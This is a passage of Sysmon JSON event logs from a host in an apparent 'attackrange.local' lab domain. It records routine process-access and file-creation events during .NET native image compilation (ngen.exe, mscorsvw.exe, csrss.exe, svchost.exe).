+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7156,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010F7310C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010F7310C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7157,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B0-5F2D-0000-0010F7310C00}\r\nTargetProcessId: 4920\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B0-5F2D-0000-0010F7310C00}","TargetProcessId":"4920","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7158,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.666\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010803E0B00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.666","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010803E0B00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7159,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.666\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010803E0B00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.666","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010803E0B00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:52","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7160,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:52.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010803E0B00}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:52.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010803E0B00}","TargetProcessId":"1552","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:53","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:53.338\r\nProcessGuid: {90617006-42B0-5F2D-0000-00107D350C00}\r\nProcessId: 1552\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\610-0\\Microsoft.VisualBasic.Activities.Compiler.dll\r\nCreationUtcTime: 2020-08-07 12:01:53.338","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:53.338","ProcessGuid":"{90617006-42B0-5F2D-0000-00107D350C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\610-0\\Microsoft.VisualBasic.Activities.Compiler.dll","CreationUtcTime":"2020-08-07 12:01:53.338","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.417\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010B6E20B00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.417","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010B6E20B00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.417\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010B6E20B00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.417","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010B6E20B00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:53.447\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B1-5F2D-0000-00104B390C00}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:53.447","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B1-5F2D-0000-00104B390C00}","TargetProcessId":"2820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:55","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:53","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 